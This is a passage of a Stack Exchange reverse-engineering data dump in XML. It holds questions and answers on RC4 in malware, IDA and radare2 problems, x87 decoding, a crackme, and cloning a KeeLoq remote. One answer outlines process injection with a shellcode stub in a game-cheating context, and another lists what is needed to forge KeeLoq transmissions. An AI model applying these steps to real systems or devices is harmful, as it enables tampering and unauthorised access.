&lt;code&gt;rc4_init&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (i = j = 0; i &amp;lt; 256; i++) {&#xA;        j = (j + key[i % key_length] + S[i]) &amp;amp; 255;&#xA;        swap(S, i, j);&#xA;    }&#xA;&#xA;    i = j = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Inlined &lt;code&gt;swap&lt;/code&gt; in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    v9 = v18[v8];&#xA;    v18[v8++] = v18[v10];&#xA;    v18[v10] = v9;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RC4 &lt;code&gt;swap&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void swap(unsigned char *s, unsigned int i, unsigned int j) {&#xA;    unsigned char temp = s[i];&#xA;    s[i] = s[j];&#xA;    s[j] = temp;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Do you see the similarities? I definitely think this is RC4, so your best bet is to hope that the malware uses a static/predictable/weak key, so you can decrypt the communication (if sniffing from outside).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; You can't decrypt this without the proper key, which may or may not be predictable. Look at how it is generated to find out if it is.&lt;/p&gt;&#xA;" OwnerUserId="17693" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-10-08T23:20:42.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13674" PostTypeId="2" ParentId="13672" CreationDate="2016-10-08T23:15:08.953" Score="0" Body="&lt;p&gt;Yes, it is.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right-click on the disassembly view (hex dump works too)&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Search for&lt;/code&gt; -&gt; &lt;code&gt;Binary string&lt;/code&gt;, or press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JVE0A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JVE0A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-10-08T23:15:08.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="2" ParentId="13667" CreationDate="2016-10-08T23:26:34.513" Score="0" Body="&lt;p&gt;I am not sure if I understood correctly, but if you mean calling the exported function from the binary which just got injected the DLL, then do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto hLib = GetModuleHandleA(&quot;your_library.dll&quot;);&#xA;auto fn = GetProcAddress(hLib, &quot;exported_function_name&quot;);&#xA;&#xA;// supposing your function is declared as:&#xA;// extern &quot;C&quot; __declspec(dllexport) int __cdecl fn() { ... }&#xA;((int(__cdecl*)(void)) fn)();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have to check which calling convention your compiler used for the function, though (if you didn't specify any).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: since you want to call the function from the injector rather than the injected binary, you should do something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;VirtualAllocEx&lt;/code&gt; to alloc some bytes in the target process&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;WriteProcessMemory&lt;/code&gt; to write shellcode on the target process&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You will need to write something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 0x0BADC0DE ; the offset of your function&#xA;call eax&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow&quot;&gt;this online service&lt;/a&gt; to generate the shellcode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;CreateRemoteThread&lt;/code&gt; to run a thread on the shellcode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, be aware that games usually have anti-cheat systems, and they detect this kind of behaviour (it's quite common).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But apart from all of this: you could inject your DLL with &lt;code&gt;VirtualAllocEx&lt;/code&gt; -&gt; &lt;code&gt;WriteProcessMemory&lt;/code&gt; -&gt; &lt;code&gt;LoadLibrary&lt;/code&gt; | &lt;code&gt;CreateRemoteThread&lt;/code&gt;, and have Windows call your DLL's &lt;code&gt;DllMain&lt;/code&gt; instead of you doing it yourself.&lt;/p&gt;&#xA;" OwnerUserId="17693" LastEditorUserId="17693" LastEditDate="2016-10-09T14:33:47.937" LastActivityDate="2016-10-09T14:33:47.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13676" PostTypeId="1" CreationDate="2016-10-09T06:30:53.043" Score="1" ViewCount="1291" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxNkc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxNkc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to find a reference for a string data reference in Ida Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not pro just trying to learn. thanks&lt;/p&gt;&#xA;" OwnerUserId="17696" LastActivityDate="2016-10-09T08:56:15.007" Title="how to fix this rsrc data in ida pro?" Tags="|ida|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="2" ParentId="3451" CreationDate="2016-10-09T08:15:03.810" Score="2" Body="&lt;p&gt;In my instance the error was &quot;&lt;strong&gt;Read error: read past end of file (file position 0x0, wanted 0x20X bytes, read 0x0&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying different things for a while, I realised the .id2, .nam and the .til unpacked database files were all having a size of 0KB. Opening the same executable file as a new database, the associated .id2, .nam and .til files had definite sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was to &lt;strong&gt;replace the .til file of the corrupted database with the .til file of the new database&lt;/strong&gt;. The database opened and breakpoints were intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue was that the names window became empty. However looking through the database, I realised the names I had entered manually were still there but were in greyed text. At this stage though, &lt;strong&gt;it would not be difficult to recover the names using a script as the names and their addresses are part of the database text&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17698" LastActivityDate="2016-10-09T08:15:03.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13678" PostTypeId="2" ParentId="13671" CreationDate="2016-10-09T08:47:25.330" Score="4" Body="&lt;p&gt;&lt;code&gt;...&lt;/code&gt; are printed for repeated zero bytes, since that is usually filler data and not interesting. You can use &lt;code&gt;-z, --disassemble-zeroes&lt;/code&gt; switch to force their disassembly anyway.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-09T08:47:25.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="2" ParentId="13676" CreationDate="2016-10-09T08:56:15.007" Score="4" Body="&lt;p&gt;The Win32 resource data is usually not referenced directly from the code; resource APIs such as &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ff468902&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;FindResource&lt;/code&gt;, &lt;code&gt;LoadResource&lt;/code&gt; and &lt;code&gt;LockResource&lt;/code&gt;&lt;/a&gt; are used to access that data.  You can use a &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow&quot;&gt;resource editor&lt;/a&gt; to view or edit the resources (and then look for their IDs used in the above APIs). If you do want to figure out how the resources are stored on the binary level, check the &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=19509&quot; rel=&quot;nofollow&quot;&gt;PE/COFF specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-09T08:56:15.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13683" PostTypeId="1" AcceptedAnswerId="13685" CreationDate="2016-10-09T21:38:47.623" Score="2" ViewCount="721" Body="&lt;p&gt;I've been working for my final project which is a disassembler for AMD64 instruction set, and i was trying to disassemble machine code by hand to understand it correctly. But i got stuck at a x87 instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Machine code of instruction is: &lt;code&gt;dd 04 c5 60 40 08 08...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked AMD64 manual vol3, and it says DD is an x87 instruction and with the help of ModRM byte ,which is &lt;code&gt;0b00000100&lt;/code&gt;, my ModRM.reg field is &lt;code&gt;000&lt;/code&gt; and with this information manual says this instructions meaning is &quot;FLD mem64real&quot;. But since I've compiled this code for i386 target architecture i think that i shouldn't have 64 bit memory adress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the most interesting part is when i checked the binary with objdump, it says that this bytes are corresponds to &lt;code&gt;fldl   0x8084060(,%eax,8)&lt;/code&gt; but i can't find any information about FLDL instruction nor how does objdump find this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is am i doing something wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How objdump think that instruction is FLDL but manual says its FLD ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target machine of binary is i386.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use AMD64 manual volume 3 to check instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version of objdump is &lt;code&gt;GNU objdump (GNU Binutils for Debian) 2.26.1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is readelf output of binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header&#xA;Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;Class:                             ELF32&#xA;Data:                              2's complement, little endian&#xA;Version:                           1 (current)&#xA;OS/ABI:                            UNIX - System V&#xA;ABI Version:                       0&#xA;Type:                              EXEC (Executable file)&#xA;Machine:                           Intel 80386&#xA;Version:                           0x1&#xA;Entry point address:               0x80482c0&#xA;Start of program headers:          52 (bytes into file)&#xA;Start of section headers:          3744 (bytes into file)&#xA;Flags:                             0x0&#xA;Size of this header:               52 (bytes)&#xA;Size of program headers:           32 (bytes)&#xA;Number of program headers:         8&#xA;Size of section headers:           40 (bytes)&#xA;Number of section headers:         31&#xA;Section header string table index: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15729" LastActivityDate="2016-10-10T07:41:11.280" Title="Stuck in x87 FLD instruction" Tags="|disassembly|objdump|amd64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13685" PostTypeId="2" ParentId="13683" CreationDate="2016-10-10T00:41:04.793" Score="1" Body="&lt;p&gt;&lt;code&gt;fldl&lt;/code&gt; is just the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_assembly_language#Syntax&quot; rel=&quot;nofollow noreferrer&quot;&gt;AT&amp;amp;T syntax&lt;/a&gt; for the &quot;FLD&quot; instruction involving a long (4 bytes) register. This is equivalent to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fld     qword ptr [eax*8 + 8084060h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in Intel syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could &lt;a href=&quot;https://stackoverflow.com/questions/10362630/how-can-objdump-emit-intel-syntax&quot;&gt;instruct objdump to emit Intel syntax&lt;/a&gt; with the &lt;code&gt;-M intel&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;While i386 does not support 64-bit addresses, it certain can read 64 bits out given an address. The &quot;FLD m64fp&quot; instruction reads 8 bytes from the input address (&lt;code&gt;0x8084060 + eax*8&lt;/code&gt; in this case), interprets it as a floating point number (a &lt;code&gt;double&lt;/code&gt;), and then pushes it to the FPU register stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;0x8084060&lt;/code&gt; is likely an address to a global array of &lt;code&gt;double&lt;/code&gt; and &lt;code&gt;eax&lt;/code&gt; is an index to fetch a value out of the array.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-10-10T00:41:04.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="2" ParentId="13683" CreationDate="2016-10-10T07:25:49.213" Score="2" Body="&lt;p&gt;So this answer only focuses on the second question of @Efe:&#xA;How is &lt;code&gt;+eax*8&lt;/code&gt; constructed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can determine the SIB-offsets with the following steps. We analyze the first two bytes &lt;code&gt;04 c5&lt;/code&gt; of the whole instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd 04 c5 60 40 08 08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, we only focus on the MOD-REG-R/M Byte (look &lt;a href=&quot;http://www.c-jump.com/CIS77/CPU/x86/X77_0060_mod_reg_r_m_byte.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for details)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD-REG-R/M Byte = 04&#xA;--------------------------------------------------&#xA;04   0000 0100&#xA;MOD  00          Meaning: SIB with no displacement&#xA;REG  000         Meaning: eax (32-Bit)&#xA;R/M  100         Meaning: SIB with no displacement&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, we analyze the SIB Byte of the instruction (look &lt;a href=&quot;http://www.c-jump.com/CIS77/CPU/x86/X77_0100_sib_byte_layout.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for details). Scaled indexed addressing mode uses the second byte (namely, SIB byte) that follows the MOD-REG-R/M.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIB Byte = C5&#xA;--------------------------------------------------&#xA;c5    1100 0101&#xA;Scale 11    Meaning: Index*8&#xA;Index 000   Meaning: eax register&#xA;Base  101   Meaning: Displacement only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The combination of MOD and Base lead to (look &lt;a href=&quot;http://www.c-jump.com/CIS77/CPU/x86/X77_0110_scaled_indexed.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for details)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD = 00 and BASE field = 101:&#xA;--------------------------------------------------&#xA;disp + eax*n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2016-10-10T07:41:11.280" LastActivityDate="2016-10-10T07:41:11.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="1" CreationDate="2016-10-10T07:56:22.110" Score="2" ViewCount="948" Body="&lt;p&gt;I need to debug .so of my.apk, I'm working on a phone with android 5.0, using ida 6.8's android_server. It seems ok for attaching ida to the process, but when clicking something on the apk there is message box that shows an exception(see the image), and breaks at this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system@framework@boot.oat:7314709E DCB    8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the 'call stack' window is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p55Ot.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p55Ot.png&quot; alt=&quot;boot.oat exception&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem happens with android 5.x + ida 6.8,  or android 7.0 + ida 6.8&#xA;but it works fine on android 4.x + ida 6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I tried another apk, there is no such problem.&#xA;Any idea? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 1&lt;/strong&gt;&#xA;According to comments from @ws, it's something wrong with segment type: ARM(0) and THUMB(1), here's what I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press Alt+G at that line, a window popups and shows the segment register value is 1, I modified it to 0, run.&lt;/li&gt;&#xA;&lt;li&gt;Then it breaks at another place with same exception. I did that again.&lt;/li&gt;&#xA;&lt;li&gt;Then it goes to boot.oat, but this time is different. Even after modified it to 0(ARM), it breaks at this line about 6~7 times&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YpvZW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpvZW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;And finally it breaks at some random code with same exception, such as memset in the image below. Then program crashes if continue run.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GZlUd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZlUd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17710" LastEditorUserId="17710" LastEditDate="2016-10-10T14:02:25.350" LastActivityDate="2016-10-10T14:02:25.350" Title="crash using ida 6.8 debugging on android 5.0" Tags="|ida|android|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13688" PostTypeId="2" ParentId="13670" CreationDate="2016-10-10T08:57:45.243" Score="1" Body="&lt;p&gt;I would suggest utilizing &lt;em&gt;hooking&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When hooking, you patch some bytes at the start of the function you want to hook in memory to redirect to your own code. Upon completion of whatever you wanted to you, you can just return to the original implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been various tutorials and implementations which will do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe &lt;a href=&quot;http://www.codeproject.com/Articles/2082/API-hooking-revealed&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is a good resource to start you off. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-10-10T08:57:45.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13689" PostTypeId="1" CreationDate="2016-10-10T14:25:33.297" Score="9" ViewCount="15647" Body="&lt;p&gt;I was following &lt;a href=&quot;https://youtu.be/3NTXFUxcKPc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; at the end it shows how to do basic stuff with Radare2 (r2).&lt;/p&gt;&#xA;&lt;p&gt;When I try to set a break point with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;db 0x004005bd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;0x004005bd&lt;/code&gt; is the first address of the main function that just does:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But after I run the &lt;code&gt;db&lt;/code&gt; command it tells me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cannot place a breakpoint on 0x004005bd unmapped memory. See dbg.bpinmaps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I understand what it says, but how do I fix it ?&lt;/p&gt;&#xA;" OwnerUserId="17715" LastEditorUserId="22780" LastEditDate="2021-06-17T15:32:08.780" LastActivityDate="2021-06-17T15:32:40.540" Title="Radare2 (noob question) can't set breakpoint?" Tags="|radare2|breakpoint|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13690" PostTypeId="2" ParentId="13689" CreationDate="2016-10-10T21:24:09.467" Score="3" Body="&lt;p&gt;You are probably using an obsolete version of radare2.&lt;/p&gt;&#xA;&lt;p&gt;Uninstall your current &lt;code&gt;radare2&lt;/code&gt; version then run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/radare/radare2 &amp;amp;&amp;amp; cd radare2 &amp;amp;&amp;amp; ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you are using ArchLinux use &lt;a href=&quot;https://aur.archlinux.org/packages/radare2-git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2-git&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are using windows or another platform (like iOS or Android), please use the git link on &lt;a href=&quot;http://rada.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;rada.re&lt;/a&gt; or build it.&lt;/p&gt;&#xA;&lt;p&gt;Lastly if you encounter an issue related to radare2 itself, I strongly suggest you come say hi on &lt;a href=&quot;http://webchat.freenode.net/?channels=#radare&quot; rel=&quot;nofollow noreferrer&quot;&gt;IRC&lt;/a&gt; or &lt;a href=&quot;https://telegram.me/joinchat/ACR-FgWyg1bbu9YUzT_5pg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Telegram&lt;/a&gt;, you can also report issue on &lt;a href=&quot;https://github.com/radare/radare2/issues/new&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="22780" LastEditDate="2021-06-17T15:32:40.540" LastActivityDate="2021-06-17T15:32:40.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13691" PostTypeId="1" CreationDate="2016-10-10T23:15:45.397" Score="0" ViewCount="1746" Body="&lt;p&gt;I am trying to &lt;em&gt;reverse engineer&lt;/em&gt; a &lt;strong&gt;crackme&lt;/strong&gt; exe. I have managed to find the function that checks serial number based on email input. So, &lt;strong&gt;4&lt;/strong&gt; arguments are pushed to the stack (&lt;code&gt;esp&lt;/code&gt;) which are the input values and their lengths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration using IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYQYi.png&quot; alt=&quot;&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack view using OllyDbg after function gets called:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zvyg8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I am able to make the program show &lt;em&gt;&quot;Serial is valid&quot;&lt;/em&gt; using either &lt;code&gt;Run to cursor&lt;/code&gt; command or setting &lt;code&gt;al&lt;/code&gt; to &lt;code&gt;0x1&lt;/code&gt;. However, my the aim is to somehow extract the correct serial number from program. My digging into &lt;code&gt;sub_402B10&lt;/code&gt; gave that neither the length of email nor serial can be greater than 255(correct me if said wrong),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rrLEY.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but nothing further. I only see there some xor's shiftings in loops. So my question is how can the &lt;code&gt;sub_402B10&lt;/code&gt; function can return a boolean value considering there is not any &lt;code&gt;strcmp&lt;/code&gt;-like function. Could someone provide useful information how the serial checking &lt;em&gt;can be&lt;/em&gt; carried out by the program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this post will be closed or put on hold as  off-topic but I have spent my 4 days on going through every byte of &lt;code&gt;sub_402B10&lt;/code&gt; and looking the changes in stack and registers. Please, at least, give a direction to me, I've ran out of keywords to search on google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://drive.google.com/open?id=0B8FtaI54yR5mWWNVZWE5STlVTlpvUU5fMENvZF9fN0dLQ0hn&quot; rel=&quot;nofollow noreferrer&quot;&gt;executable file&lt;/a&gt;. It has .txt format since google drive did't let me upload it otherwise.&lt;/p&gt;&#xA;" OwnerUserId="17701" LastActivityDate="2016-10-11T09:43:31.743" Title="How does serial number is checked in this crackme?" Tags="|ida|ollydbg|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="2" ParentId="11988" CreationDate="2016-10-11T01:54:12.030" Score="9" Body="&lt;p&gt;To create a full duplicate, able to generate valid transmission packets you'll need the following information:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Serial Number&lt;/li&gt;&#xA;&lt;li&gt;Button press mapping&lt;/li&gt;&#xA;&lt;li&gt;32 bit of KeeLoq encrypted data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See attached Figure 1-2, from the &lt;a href=&quot;http://ww1.microchip.com/downloads/en/devicedoc/21143b.pdf&quot; rel=&quot;noreferrer&quot;&gt;datasheet&lt;/a&gt;, near &quot;Transmitted information&quot; at the bottom right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dVEQQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dVEQQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using those three pieces of information you can theoretically create your own device.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Serial Numer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The serial number is a unique identifier of the remote control, and is trivially retrievable by capturing a single transmission packet because it is sent as-is. OP already retrieved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The serial is later required because it is part of the encrypted data as well, so the ability to retrieve it without first decrypting a transmission might help us down the line when we'll create the encrypted part.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Key mappings&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In order to send a specific key, you'll need to create your own mapping of values to key meaning. This is not as easy as getting a single value of any transmitted message but does not prove any difficulty, just hit every key and capture it's &lt;em&gt;Button Press Information&lt;/em&gt; field. OP seems to have managed that as well.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;32 bit of KeeLoq encrypted data&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is where shit gets serious, we'll need to know what to encrypt in addition to the key:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Button status.&lt;/li&gt;&#xA;&lt;li&gt;DISC bits.&lt;/li&gt;&#xA;&lt;li&gt;OVR bits.&lt;/li&gt;&#xA;&lt;li&gt;Sync Counter (16 bit word incremented once for every button press in the controller's life span).&lt;/li&gt;&#xA;&lt;li&gt;Encryption Key (called &quot;Crypt Key&quot; to sound leet in the datasheet :D )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See attached Figure 4-2, from the datasheet, right part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rlXR9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rlXR9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Button status bits&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These four bits are the same ones sent unencrypted, so we've already discussed their rather easy retrieval.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;DISC bits&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The discrimination value aids the post-decryption&#xA;  check on the decoder end. It may be any value, but in&#xA;  a typical system it will be programmed as the 10 Least&#xA;  Significant bits of the serial number. Values other than&#xA;  this must be separately stored by the receiver when a&#xA;  transmitter is learned. The discrimination bits are part&#xA;  of the information that form the encrypted portion of the&#xA;  transmission (Figure 4-2). After the receiver has&#xA;  decrypted a transmission, the discrimination bits are&#xA;  checked against the receiver’s stored value to verify&#xA;  that the decryption process was valid. If the discrimination&#xA;  value was programmed as the 10 LSb’s of the&#xA;  serial number then it may merely be compared to the&#xA;  respective bits of the received serial number; saving&#xA;  &lt;a href=&quot;https://en.wikipedia.org/wiki/EEPROM&quot; rel=&quot;noreferrer&quot;&gt;EEPROM&lt;/a&gt; space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These bits are used to identify the device, and according to the datasheet are usually the &lt;em&gt;Least Significant Bits&lt;/em&gt; of the previously discussed &lt;em&gt;Serial 